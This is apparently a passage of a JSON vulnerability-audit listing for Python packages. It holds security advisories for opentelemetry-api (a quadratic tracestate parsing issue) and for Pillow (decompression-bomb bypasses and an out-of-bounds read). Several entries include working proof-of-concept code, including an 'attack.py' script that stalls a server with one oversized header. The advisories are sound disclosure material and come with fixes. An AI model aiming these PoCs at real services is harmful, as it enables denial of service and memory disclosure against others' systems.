opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator # The library logs the whole malformed member at WARNING; silence it so the timings stay readable. logging.disable(logging.CRITICAL) TRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\" propagator = TraceContextTextMapPropagator() previous = None for n in (10_000, 20_000, 40_000, 80_000): # N spaces after a valid member, no comma anywhere in the header carrier = {\"traceparent\": TRACEPARENT, \"tracestate\": \"a=b\" + \" \" * n + \"x\"} start = time.perf_counter() propagator.extract(carrier) elapsed = time.perf_counter() - start growth = f\"x{elapsed / previous:.1f}\" if previous else \"-\" print(f\"{n:>7} characters {elapsed:6.2f} s growth when size doubles: {growth}\") previous = elapsed ``` 3. Run `python poc_tracestate.py`. 4. **What to observe:** the time grows by about **\u00d74 every time the input size doubles** (a linear parser would show \u00d72). Absolute numbers depend on the CPU; the growth factor does not. Our run: ``` 10000 characters 0.06 s growth when size doubles: - 20000 characters 0.26 s growth when size doubles: x4.0 40000 characters 1.04 s growth when size doubles: x4.0 80000 characters 4.13 s growth when size doubles: x4.0 ``` Replace `\" \"` with `\"\\t\"` to see \u22481.6\u00d7 longer. ### B. Show that one request stalls a real server This uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools). 1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`. 2. Save as `app.py`: ```python from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware async def app(scope, receive, send): await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]}) await send({\"type\": \"http.response.body\", \"body\": b\"ok\"}) app = OpenTelemetryMiddleware(app) ``` 3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools` 4. Save as `attack.py`: ```python \"\"\"Send one oversized tracestate request and, while it is being handled, measure how long an unrelated request to the same server has to wait.\"\"\" import socket import sys import threading import time HOST, PORT = \"127.0.0.1\", 8000 N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000 TRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\" def get(path, extra=\"\"): s = socket.create_connection((HOST, PORT), timeout=120) s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode()) start, data = time.perf_counter(), b\"\" while chunk := s.recv(65536): data += chunk return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode() result = {} extra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{' ' * N}x\\r\\n\" attacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra))) print(\"idle /ping: %.3f s %s\" % get(\"/ping\")) attacker.start() time.sleep(0.5) # let the attack request reach the server first print(\"/ping during the attack: %.3f s %s\" % get(\"/ping\")) attacker.join() print(\"attack request itself: %.3f s %s\" % result[\"a\"]) ``` 5. In a second terminal run `python attack.py 100000`. 6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run: ``` idle /ping: 0.000 s HTTP/1.1 200 OK /ping during the attack: 5.909 s HTTP/1.1 200 OK <-- unrelated request delayed ~6 s (event loop blocked) attack request itself: 6.408 s HTTP/1.1 200 OK ``` 7. Start the server with `--http h11` instead and run the same command: the attack request is rejected immediately (`400 Bad Request`, h11 header cap) and `/ping` is not delayed. Our measurements for `--http httptools`: 30,000 spaces \u2192 0.59 s; 100,000 spaces \u2192 6.57 s with the concurrent `/ping` delayed 6.07 s; 100,000 tabs \u2192 12.39 s with the concurrent `/ping` delayed 11.89 s. ## Severity **Likelihood: Low.** Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16\u201330 KB. **Impact: Medium.** One request of about 100 KB costs 6\u201312 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable. **Severity: Medium.** ## Suggested remediation Replace the regex split with a plain `split` and strip; this removes the quadratic behaviour and is equivalent on valid input: ```diff --- a/opentelemetry-api/src/opentelemetry/trace/span.py +++ b/opentelemetry-api/src/opentelemetry/trace/span.py @@ def from_header(cls, header_list: list[str]) -> TraceState: for header in header_list: - members: list[str] = re.split(_delimiter_pattern, header) + members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")] ``` `_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s. ## Credit Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com --- **FROM MAINTAINERS** ## Summary `TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers. Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request. ## Impact Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop. The practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values. Unlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration. The impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution. ## Patches Versions of `opentelemetry-api` up to and including `1.45.0` are affected. Upgrade `opentelemetry-api` to version `1.45.1` or later. Version `1.45.1` replaces the affected parsing operation with linear-time processing and discards combined `tracestate` headers longer than 8,192 characters. ## Workarounds Ensure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix."}]}, {"name": "opentelemetry-exporter-otlp-proto-common", "version": "1.38.0", "vulns": []}, {"name": "opentelemetry-exporter-otlp-proto-http", "version": "1.38.0", "vulns": []}, {"name": "opentelemetry-proto", "version": "1.38.0", "vulns": []}, {"name": "opentelemetry-sdk", "version": "1.38.0", "vulns": []}, {"name": "opentelemetry-semantic-conventions", "version": "0.59b0", "vulns": []}, {"name": "pillow", "version": "12.0.0", "vulns": [{"id": "PYSEC-2026-2249", "fix_versions": ["12.1.1"], "aliases": ["CVE-2026-25990", "BIT-pillow-2026-25990", "GHSA-cfh3-3jmp-rvhc"], "description": "### Impact An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected. ### Patches Pillow 12.1.1 will be released shortly with a fix for this. ### Workarounds `Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened. ### References Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html"}, {"id": "PYSEC-2026-2250", "fix_versions": ["12.2.0"], "aliases": ["BIT-pillow-2026-40192", "GHSA-whj4-6x5x-4v2j", "CVE-2026-40192"], "description": "### Impact Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation). ### Patches The amount of data read is now limited to the necessary amount. Fixed in Pillow 12.2.0 (PR #9521). ### Workarounds Avoid Pillow >= 10.3.0, < 12.2.0 Only open [specific image formats](https://pillow.readthedocs.io/en/stable/releasenotes/8.0.0.html#image-open-add-formats-parameter), excluding FITS."}, {"id": "PYSEC-2026-165", "fix_versions": ["12.2.0"], "aliases": ["CVE-2026-42308", "GHSA-wjx4-4jcj-g98j", "BIT-pillow-2026-42308"], "description": "If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed."}, {"id": "PYSEC-2026-2251", "fix_versions": ["12.2.0"], "aliases": ["BIT-pillow-2026-42309", "GHSA-5xmw-vc9v-4wf2", "CVE-2026-42309"], "description": "Passing nested lists as coordinates to APIs that accept coordinates such as `ImagePath.Path`, `ImageDraw.ImageDraw.polygon` and `ImageDraw.ImageDraw.line` could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1."}, {"id": "PYSEC-2026-2874", "fix_versions": ["12.2.0"], "aliases": ["BIT-pillow-2026-42310", "CVE-2026-42310", "GHSA-r73j-pqj5-w3x7"], "description": "### Impact An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive. ### Patches Patched version: 12.2.0. PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a trailer's Prev pointer references an offset that has already been processed \u2014 either pointing to itself or forming a longer cycle \u2014 the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an error if a cycle is detected. ### Workarounds Use any version but the affected versions: >= 4.2.0, < 12.2.0 ### Resources - Fix: https://github.com/python-pillow/Pillow/pull/9519"}, {"id": "PYSEC-2026-2252", "fix_versions": ["12.2.0"], "aliases": ["BIT-pillow-2026-42311", "GHSA-pwv6-vv43-88gr", "CVE-2026-42311"], "description": "### Impact Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. ### Patches Patched version: 12.2.0 Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison. ### Workarounds Use any version but affected versions: >= 10.3.0, < 12.2.0 ### Resources - Fix: https://github.com/python-pillow/Pillow/pull/9520 - Original issue: CVE-2026-25990 (Pillow 12.1.1)"}, {"id": "PYSEC-2026-165", "fix_versions": ["12.2.0"], "aliases": ["CVE-2026-42308", "GHSA-wjx4-4jcj-g98j"], "description": "Pillow is a Python imaging library. Prior to version 12.2.0, if a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This issue has been patched in version 12.2.0."}, {"id": "PYSEC-2026-2250", "fix_versions": ["12.2.0"], "aliases": ["GHSA-whj4-6x5x-4v2j", "CVE-2026-40192"], "description": "Pillow is a Python imaging library. Versions 10.3.0 through 12.1.1 did not limit the amount of GZIP-compressed data read when decoding a FITS image, making them vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation). If users are unable to immediately upgrade, they should only open specific image formats, excluding FITS, as a workaround."}, {"id": "PYSEC-2026-2253", "fix_versions": ["12.3.0"], "aliases": ["BIT-pillow-2026-54059", "CVE-2026-54059", "GHSA-8v84-f9pq-wr9x"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-2251", "fix_versions": ["12.2.0"], "aliases": ["GHSA-5xmw-vc9v-4wf2", "CVE-2026-42309"], "description": "Pillow is a Python imaging library. From version 11.2.1 to before version 12.2.0, passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This issue has been patched in version 12.2.0."}, {"id": "PYSEC-2026-2255", "fix_versions": ["12.3.0"], "aliases": ["GHSA-45hq-cxwh-f6vc", "BIT-pillow-2026-55379", "CVE-2026-55379"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-2257", "fix_versions": ["12.3.0"], "aliases": ["GHSA-4x4j-2g7c-83w6", "CVE-2026-55798"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-2256", "fix_versions": ["12.3.0"], "aliases": ["GHSA-phj9-mv4w-65pm", "BIT-pillow-2026-55380", "CVE-2026-55380"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-2254", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-54060", "GHSA-5x94-69rx-g8h2", "BIT-pillow-2026-54060"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-2252", "fix_versions": ["12.2.0"], "aliases": ["GHSA-pwv6-vv43-88gr", "CVE-2026-42311"], "description": "Pillow is a Python imaging library. From version 10.3.0 to before version 12.2.0, processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. This issue has been patched in version 12.2.0."}, {"id": "PYSEC-2026-2249", "fix_versions": ["12.1.1"], "aliases": ["CVE-2026-25990", "GHSA-cfh3-3jmp-rvhc"], "description": "Pillow is a Python imaging library. From 10.3.0 to before 12.1.1, an out-of-bounds write may be triggered when loading a specially crafted PSD image. This vulnerability is fixed in 12.1.1."}, {"id": "PYSEC-2026-2874", "fix_versions": ["12.2.0"], "aliases": ["CVE-2026-42310", "GHSA-r73j-pqj5-w3x7"], "description": "### Impact An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive. ### Patches Patched version: 12.2.0. PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a trailer's Prev pointer references an offset that has already been processed \u2014 either pointing to itself or forming a longer cycle \u2014 the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an error if a cycle is detected. ### Workarounds Use any version but the affected versions: >= 4.2.0, < 12.2.0 ### Resources - Fix: https://github.com/python-pillow/Pillow/pull/9519"}, {"id": "PYSEC-2026-3453", "fix_versions": ["12.3.0"], "aliases": ["GHSA-9hw9-ch79-4vh6", "BIT-pillow-2026-59205", "CVE-2026-59205"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-3451", "fix_versions": ["12.3.0"], "aliases": ["GHSA-6r8x-57c9-28j4", "BIT-pillow-2026-59199", "CVE-2026-59199"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-3452", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-59203", "GHSA-pg7v-jwj7-p798", "BIT-pillow-2026-59203"], "description": "Pillow is a Python imaging library. From 12.0.0 through 12.2.0, Pillow's EPS parser in PIL/EpsImagePlugin.py accepts a negative byte count in the %%BeginBinary directive, allowing a crafted EPS file to cause Image.open() to seek backwards to the same directive and parse it repeatedly in an infinite loop. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-3493", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-54058", "BIT-pillow-2026-54058", "GHSA-62p4-gmf7-7g93"], "description": "## Summary When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**. The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`, `getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). ## Complete Code Trace **Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation. ```python # src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\" raise SyntaxError(...) self.area_descriptor = w = [0, *struct.unpack(\"!64i\", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = \"L\" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = \"I;16B\" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile(\"raw\", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ``` **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`. ```python # src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == \"raw\" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError(\"Tile offset cannot be negative\") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check raise OSError(\"buffer is not large enough\") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = (\"L\", stride, 1) ) ``` **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`. ```c /* src/map.c:65-140 */ if (!PyArg_ParseTuple(args, \"O(ii)sn(sii)\", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); /* \"L\" */ if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */ if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize * 2; else stride = xsize * 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */ PyErr_SetString(PyExc_MemoryError, \"Integer overflow in ysize\"); return NULL; } size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */ if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */ PyErr_SetString(PyExc_ValueError, \"buffer is not large enough\"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); /* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */ /* setup file pointers -- NO check that stride >= im->linesize */ if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */ } } else { ... } ``` `im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes \"claimed\". Nothing reconciles the two. **Step 4: pixel access (`Image.tobytes()` \u2192 raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap. ```c /* the raw \"L\" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */ ``` ## Chain Summary ``` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) \u2193 McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] \u2193 tile = (\"raw\", (0,0,xsize,1), offset, (\"L\", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] \u2193 core.map_buffer(map, (xsize,1), \"raw\", offset, (\"L\",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134] \u2193 Image.tobytes() raw \"L\" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ``` ## Proof of Concept See attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip) ## Impact on a Parent Application Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: - **Information disclosure (High):** the decoded \"image\" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS. ## Suggested fix Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` ."}, {"id": "PYSEC-2026-2254", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-54060", "GHSA-5x94-69rx-g8h2", "BIT-pillow-2026-54060"], "description": "## Description `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved. Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation \u2014 and it has no check. **Vulnerable code (`PIL/FontFile.py` lines ~64\u201392):** ```python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height \u2014 attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # \u2264 800 (capped by WIDTH constant) ysize = lines * h # \u2190 lines(256) \u00d7 h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here \u2190 self.bitmap = Image.new(\"1\", (xsize, ysize)) # \u2190 unchecked allocation ``` **\"Slow accumulation\" attack \u2014 per-glyph dimensions stay BELOW warning threshold:** | Metric | Per-glyph (800 \u00d7 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | **179,200,000** | | DecompressionBombWarning threshold (89.4M) | 0.008\u00d7 \u2014 **no warning** | 2.0\u00d7 \u2014 above warning | | DecompressionBombError threshold (178.9M) | 0.004\u00d7 \u2014 **no error** | **1.001\u00d7 \u2014 above error** | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines \u00d7 h | 256 \u00d7 65,535 = **16,776,960** | | **Total pixels** | 800 \u00d7 16,776,960 = **13,421,568,000** | | **Ratio vs. DecompressionBombError threshold** | **75\u00d7** | | Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** | ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 \"\"\" PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) \u2192 compile() creates 800x224000 = 179.2M px bitmap with NO bomb check \"\"\" from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px \u2014 below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new(\"1\", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) # Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H) try: Image._decompression_bomb_check(combined_size) print(\"[FAIL] bomb check did not raise \u2014 unexpected\") except Image.DecompressionBombError as e: print(f\"[OK] bomb check WOULD block {combined_size}: {e}\") # Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # \u2192 Image.new(\"1\", (800, 224000)) \u2014 no error raised px = font.bitmap.size[0] * font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS * 2 print(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\") print(f\" pixels={px:,} ({px/threshold:.3f}\u00d7 DecompressionBombError threshold)\") print(f\" No DecompressionBombError raised at any point.\") ``` **Expected output:** ``` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001\u00d7 DecompressionBombError threshold) No DecompressionBombError raised at any point. ``` **Verified live on Pillow 12.2.0 \u2014 compile() succeeds with no exception.** **Real-world trigger using BDF font file:** ```python from PIL import BdfFontFile import io # Load a crafted BDF font with 256 glyphs each claiming height=65535 # (each glyph individually: 800 \u00d7 65535 = 52.4M px \u2014 below 89.4M warning) # compile() combined: 800 \u00d7 16,776,960 = 13.4B px \u2014 75\u00d7 error threshold font = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\")) font.to_imagefont() # \u2192 compile() \u2192 ~1.6 GB allocation, NO bomb check ``` **Attack scenarios:** | Scenario | Effect | |---|---| | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF \u2192 `to_imagefont()` | OOM crash | | Font pipeline: load \u2192 render text | One malicious font file kills the process | ## Impact - **Availability:** HIGH \u2014 `compile()` creates a combined bitmap whose pixel count scales as `WIDTH \u00d7 lines \u00d7 max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - **Confidentiality:** None - **Integrity:** None **Affected call paths:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` \u2192 `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(filename)` \u2192 `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` \u2192 `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(filename)` \u2192 `FontFile.compile()` Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08."}, {"id": "PYSEC-2026-2253", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-54059", "GHSA-8v84-f9pq-wr9x", "BIT-pillow-2026-54059"], "description": "## Description `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values: ``` xsize = right - left (max: 65535 \u2212 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070) ``` Maximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**. **Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):** ```python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS \u2014 attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize)) # \u2191 NO _decompression_bomb_check()! ) ``` `Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths: - **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently - **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 \"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\" 